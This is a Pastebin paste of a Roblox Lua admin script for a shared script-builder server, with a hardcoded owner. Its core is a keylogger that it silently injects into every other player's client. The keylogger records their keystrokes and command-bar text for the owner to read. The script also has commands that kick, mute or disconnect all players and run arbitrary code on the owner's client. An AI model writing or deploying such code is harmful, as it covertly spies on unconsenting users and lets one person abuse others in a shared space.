Advertisement
jordan83221

Admin 4.0.0.1

Dec 7th, 2015
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.00 KB | None | 0 0
  1. --[[Project TIME]]--
  2. wait()
  3. print("Running!")
  4. script.Parent=nil
  5. local next=next
  6. local pcall=pcall
  7. local cos=math.cos
  8. local sin=math.sin
  9. local atan2=math.atan2
  10. local pi=math.pi
  11. local plr=game.Players.Voreli
  12. local camera=workspace.CurrentCamera
  13. local ease=0.05
  14. local tabs={}
  15. local dt=false
  16. local let=true
  17. local tabo=true
  18. local spin=true
  19. local clone
  20. local admins={}
  21. local superadmins={}
  22. local megaadmins={}
  23. local uberadmins={}
  24. local svals={}
  25. local function insert(tab,val)
  26.     tab[#tab+1]=val
  27. end
  28. local function remove(tab,val)
  29.    if type(val)~="number" then
  30.        for i,v in next,tab do
  31.             if v==val then
  32.                 tab[i]=nil
  33.             end
  34.         end
  35.     else
  36.         tab[val]=nil
  37.     end
  38. end
  39. function dist(part1,part2)
  40.     return (part1-part2).magnitude
  41. end
  42. local function easey(part,cframe)
  43.     local dx=cframe.X-part.CFrame.X
  44.     local dy=cframe.Y-part.CFrame.Y
  45.     local dz=cframe.Z-part.CFrame.Z
  46.     local vx=dx*ease;
  47.     local vy=dy*ease;
  48.     local vz=dz*ease
  49.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  50. end
  51. local keylog=[[
  52.     local next=next
  53.     local p=game.Players.LocalPlayer
  54.     local sv=Instance.new("StringValue",game.Lighting)
  55.     sv.Name=p.Name
  56.     local uis = game:GetService("UserInputService")
  57.     local slash=string.byte(47)
  58.     local val=Instance.new("StringValue",game.Lighting)
  59.     val.Name=p.Name.."*"
  60.     local function notify(stat)
  61.         local thing=Instance.new("StringValue",game.Lighting)
  62.         thing.Name="Notify_"..stat
  63.     end
  64.     uis.InputBegan:connect(function(input, typing)
  65.         if input.UserInputType == Enum.UserInputType.Keyboard then
  66.             if input.KeyCode == Enum.KeyCode.A then
  67.                 sv.Value=sv.Value..'a'
  68.             elseif input.KeyCode==Enum.KeyCode.B then
  69.                 sv.Value=sv.Value..'b'
  70.             elseif input.KeyCode==Enum.KeyCode.C then
  71.                 sv.Value=sv.Value..'c'
  72.             elseif input.KeyCode==Enum.KeyCode.D then
  73.                 sv.Value=sv.Value..'d'
  74.             elseif input.KeyCode==Enum.KeyCode.E then
  75.                 sv.Value=sv.Value..'e'
  76.             elseif input.KeyCode==Enum.KeyCode.F then
  77.                 sv.Value=sv.Value..'f'
  78.             elseif input.KeyCode==Enum.KeyCode.G then
  79.                 sv.Value=sv.Value..'g'
  80.             elseif input.KeyCode==Enum.KeyCode.H then
  81.                 sv.Value=sv.Value..'h'
  82.             elseif input.KeyCode==Enum.KeyCode.I then
  83.                 sv.Value=sv.Value..'i'
  84.             elseif input.KeyCode==Enum.KeyCode.J then
  85.                 sv.Value=sv.Value..'j'
  86.             elseif input.KeyCode==Enum.KeyCode.K then
  87.                 sv.Value=sv.Value..'k'
  88.             elseif input.KeyCode==Enum.KeyCode.L then
  89.                 sv.Value=sv.Value..'l'
  90.             elseif input.KeyCode==Enum.KeyCode.M then
  91.                 sv.Value=sv.Value..'m'
  92.             elseif input.KeyCode==Enum.KeyCode.N then
  93.                 sv.Value=sv.Value..'n'
  94.             elseif input.KeyCode==Enum.KeyCode.O then
  95.                 sv.Value=sv.Value..'o'
  96.             elseif input.KeyCode==Enum.KeyCode.P then
  97.                 sv.Value=sv.Value..'p'
  98.             elseif input.KeyCode==Enum.KeyCode.Q then
  99.                 sv.Value=sv.Value..'q'
  100.             elseif input.KeyCode==Enum.KeyCode.R then
  101.                 sv.Value=sv.Value..'r'
  102.             elseif input.KeyCode==Enum.KeyCode.S then
  103.                 sv.Value=sv.Value..'s'
  104.             elseif input.KeyCode==Enum.KeyCode.T then
  105.                 sv.Value=sv.Value..'t'
  106.             elseif input.KeyCode==Enum.KeyCode.U then
  107.                 sv.Value=sv.Value..'u'
  108.             elseif input.KeyCode==Enum.KeyCode.V then
  109.                 sv.Value=sv.Value..'v'
  110.             elseif input.KeyCode==Enum.KeyCode.W then
  111.                 sv.Value=sv.Value..'w'
  112.             elseif input.KeyCode==Enum.KeyCode.X then
  113.                 sv.Value=sv.Value..'x'
  114.             elseif input.KeyCode==Enum.KeyCode.Y then
  115.                 sv.Value=sv.Value..'y'
  116.             elseif input.KeyCode==Enum.KeyCode.Z then
  117.                 sv.Value=sv.Value..'z'
  118.             elseif input.KeyCode==Enum.KeyCode.Slash then
  119.                 sv.Value=sv.Value..'/'
  120.             elseif input.KeyCode==Enum.KeyCode.Space then
  121.                 sv.Value=sv.Value..' '
  122.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  123.                 local t={}
  124.                 for i=1,val.Value:len() do
  125.                     table.insert(t,val.Value[i])
  126.                 end
  127.                 t[#t]=nil
  128.                 for i=1,#t do
  129.                     val.Value=t[i]
  130.                 end
  131.             end
  132.         end
  133.     end)
  134.     notify("Added.")
  135.     coroutine.resume(coroutine.create(function()
  136.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  137.         while gui.Text~="Click here or press (') to run a command" do
  138.             val.Value=gui.Text
  139.         end
  140.     end))
  141.     while wait() do
  142.         if string.find(sv.Value,'kick/vo')~=nil then
  143.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  144.         elseif string.find(sv.Value,'ban/vo')~=nil then
  145.             p:Kick()
  146.             notify(p.Name.." tried to kick Voreli and was removed.")
  147.         end
  148.     end
  149. ]]
  150. local function protect(p)
  151.  
  152. end
  153. local function makeBillboard(item, text)
  154.     local bg = Instance.new("BillboardGui", item)
  155.     bg.Enabled = true
  156.     bg.AlwaysOnTop = true
  157.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  158.     local f = Instance.new("Frame", bg)
  159.     f.BackgroundTransparency = 1
  160.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  161.     local tb = Instance.new("TextBox", f)
  162.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  163.     tb.FontSize = "Size36"
  164.     tb.Text = text
  165.     tb.TextStrokeTransparency = 0
  166.     tb.TextXAlignment = "Center"
  167.     tb.TextYAlignment = "Top"
  168.     tb.BackgroundTransparency = 1
  169.     tb.TextColor3 = Color3.new(0,0,1)
  170.     tb.Font="ArialBold"
  171.     if text == "Dismiss" then
  172.         tb.TextColor3 = Color3.new(1, 0, 0)
  173.         tb.TextStrokeColor3=Color3.new(0,0,0)
  174.     end
  175. end
  176. function notify(stat)
  177.     wait(0.25)
  178.     dt=false
  179.     tabo=true
  180.     local tab = Instance.new("Part", game.Workspace)
  181.     tab.Name = "Tab"
  182.     tab.CanCollide = false
  183.     tab.TopSurface = "Smooth"
  184.     tab.BottomSurface = "Smooth"
  185.     tab.Size = Vector3.new(4, 0.4, 6.6)
  186.     tab.Transparency = 0.5
  187.     tab.Anchored = true
  188.     tab.FormFactor = "Plate"
  189.     local tabad = Instance.new("Part",tab)
  190.     tabad.Name = "Tabad"
  191.     tabad.CanCollide = false
  192.     tabad.TopSurface = "Smooth"
  193.     tabad.BottomSurface = "Smooth"
  194.     tabad.Transparency = 0
  195.     tabad.BrickColor = BrickColor.new(1,1,1)
  196.     tabad.Anchored = true
  197.     local mesh = Instance.new("BlockMesh",tabad)
  198.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  199.     makeBillboard(tab,stat)
  200.     local sele = Instance.new("SelectionBox",tab)
  201.     sele.Adornee = tab
  202.     sele.Color = BrickColor.new(1,1,1)
  203.     sele.Transparency = 0
  204.     delay(0, function()
  205.         while wait() do
  206.             if let==true then
  207.                 for i = 0,.7,0.1 do
  208.                     tab.Size = Vector3.new(4,i,6.6)
  209.                     wait()
  210.                 end
  211.                 wait()
  212.                 for i = .7,0,-0.1 do
  213.                     tab.Size = Vector3.new(4,i,6.6)
  214.                     wait()
  215.                 end
  216.             end
  217.         end
  218.     end)
  219.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  220.     coroutine.resume(coroutine.create(function()
  221.         for i,v in next,tabs do
  222.             local num=#tabs
  223.             local slice=(pi*2)/num
  224.             local radius=2+num
  225.             local angle=i*slice;
  226.             local x=cos(angle)*radius;
  227.             local y=60
  228.             local z=sin(angle)*radius;
  229.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  230.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  231.         end
  232.     end))
  233. end
  234. game.Lighting.DescendantAdded:connect(function(obj)
  235.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  236.         clone=obj.Value:Clone()
  237.         notify("Found!")
  238.         notify(clone.className)
  239.     end
  240. end)
  241. local function logp(plr)
  242.  
  243. end
  244. local function wipe(tab)
  245.     for i=#tab,1 do
  246.         tab[i]=nil
  247.     end
  248. end
  249. workspace.DescendantRemoving:connect(function(obj)
  250.     for _,v in next,tabs do
  251.         if obj==v then
  252.             remove(tabs,obj)
  253.         end
  254.     end
  255. end)
  256. local function dismiss()
  257.     pcall(function()
  258.         if dt==true and tabo==false then
  259.             spin=false
  260.             for i,v in next,tabs do
  261.                 wait()
  262.                 if tabs[i] and tabs[i].taba and tabs[i].tabd then
  263.                     tabs[i].taba:Destroy()
  264.                     tabs[i].tabd:Destroy()
  265.                     table.remove(tabs,i)
  266.                 end
  267.             end
  268.         end
  269.     end)
  270. end
  271. local cmds={
  272.     ["log"]=function(a)
  273.         for _,v in next,game.Players:GetPlayers() do
  274.             if string.find(v.Name:lower(),a:lower())~=nil then
  275.                 local plr=v
  276.                 logp(plr)
  277.             end
  278.         end
  279.     end,
  280.     ["ff"]=function(a)
  281.         for _,v in next,game.Players:GetPlayers() do
  282.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  283.                 pcall(function() Instance.new("ForceField",v.Character) end)
  284.             end
  285.         end
  286.     end,
  287.     ["cl"]=function(p)
  288.         for _,v in next,game.Players:GetPlayers() do
  289.             if string.find(v.Name:lower(),p:lower())~=nil then
  290.                 for i,g in next,game.Lighting:GetChildren() do
  291.                     if g then
  292.                         local a=string.match(g.Name,"(.*)*")
  293.                         if a==v.Name then
  294.                             notify(g.Value)
  295.                         end
  296.                     end
  297.                 end
  298.             end
  299.         end
  300.     end,
  301.     ["test"]=function(a)
  302.         for i=1,a do wait()
  303.             notify("")
  304.         end
  305.     end,
  306.     ["dt"]=function()
  307.         dt=true
  308.         tabo=false
  309.     end,
  310.     ["size"]=function()
  311.         spin=false
  312.         for i=1,#tabs do
  313.             tabs[i].taba.Size=Vector3.new(5,5,5)
  314.         end
  315.     end,
  316.     ["cspin"]=function()
  317.         spin=false
  318.     end,
  319.     ["lower"]=function()
  320.  
  321.     end,
  322.     ["kick"]=function(p)
  323.         for _,v in next,game.Players:GetPlayers() do
  324.             if string.find(v.Name:lower(),p:lower())~=nil then
  325.                 pcall(function()
  326.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  327.                     notify("Kicked "..v.Name..".")
  328.                 end)
  329.             end
  330.         end
  331.     end,
  332.     ["grab"]=function(p)
  333.         for _,v in next,game.Players:GetPlayers() do
  334.             if string.find(v.Name:lower(),p:lower())~=nil then
  335.                 pcall(function()
  336.                     table.insert(tabs,v.Character.Torso)
  337.                 end)
  338.             end
  339.         end
  340.     end,
  341.     ["mute"]=function(p)
  342.         for _,v in next,game.Players:GetPlayers() do
  343.             if string.find(v.Name:lower(),p:lower())~=nil then
  344.                 pcall(function()
  345.                     NLS([[
  346.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  347.                     ]],v.Character)
  348.                     notify("Muted "..v.Name..".")
  349.                 end)
  350.             end
  351.         end
  352.     end,
  353.     ["unmute"]=function(p)
  354.         for _,v in next,game.Players:GetPlayers() do
  355.             if string.find(v.Name:lower(),p:lower())~=nil then
  356.                 pcall(function()
  357.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  358.                     notify("Unmuted "..v.Name..".")
  359.                 end)
  360.             end
  361.         end
  362.     end,
  363.     ["protect"]=function(p)
  364.         for _,v in next,game.Players:GetPlayers() do
  365.             if string.find(v.Name:lower(),p:lower())~=nil then
  366.                 pcall(function()
  367.                     protect(v)
  368.                 end)
  369.             end
  370.         end
  371.     end,
  372.     ["sd"]=function()
  373.         for _,v in next,game.Players:GetPlayers() do
  374.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  375.         end
  376.     end,
  377.     ["nl"]=function(a)
  378.         NLS([[]]..a..[[]],game.Players.Voreli.Backpack)
  379.     end
  380. }
  381. local function antimute(p)
  382.     NLS([[
  383.         wait()
  384.         print'ran'
  385.         script.Parent=nil
  386.         local next=next
  387.         local pcall=pcall
  388.         while wait() do
  389.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  390.         end
  391.     ]],p.Backpack)
  392. end
  393. local function chat(msg,plr)
  394.     if msg and plr then
  395.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  396.         if cmd and parm and cmds[cmd] then
  397.             cmds[cmd](parm)
  398.         end
  399.     end
  400. end
  401. game.Lighting.DescendantAdded:connect(function(obj)
  402.     if obj:IsA("LocalScript") then
  403.         notify(obj.Name.." has been added to scripts!")
  404.     end
  405. end)
  406. game.Lighting.DescendantAdded:connect(function(obj)
  407.     if obj:IsA("StringValue") then
  408.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  409.         if a and b then
  410.             notify(b)
  411.         end
  412.     end
  413. end)
  414. local function playerAdd(p)
  415.     if p then
  416.         if p.Name=="Voreli" then
  417.             p.Chatted:connect(function(m) chat(m,p) end)
  418.             antimute(p)
  419.         else
  420.             NLS(keylog,p.Backpack)
  421.             print("Added.")
  422.         end
  423.     end
  424. end
  425. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  426. for _,v in next,game.Players:GetPlayers() do
  427.     playerAdd(v)
  428. end
  429. local function rot()
  430.     if tabo==true and dt==false then
  431.         for i,v in next,tabs do
  432.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  433.             local y=0
  434.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  435.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  436.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  437.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  438.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  439.         end
  440.     end
  441. end
  442. local function begin()
  443.     notify("")
  444.     notify("")
  445.     notify("")
  446.     notify("")
  447.     notify("")
  448.     notify("")
  449.     notify("")
  450.     notify("")
  451.     notify("")
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     notify("")
  457.     notify("")
  458.     notify("")
  459.     notify("")
  460.     notify("")
  461.     wait(5)
  462.     dt=true
  463.     tabo=false
  464. end
  465. game:service'RunService'.Stepped:connect(function() rot() end)
  466. game:service'RunService'.Stepped:connect(function() dismiss() end)
  467. begin()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement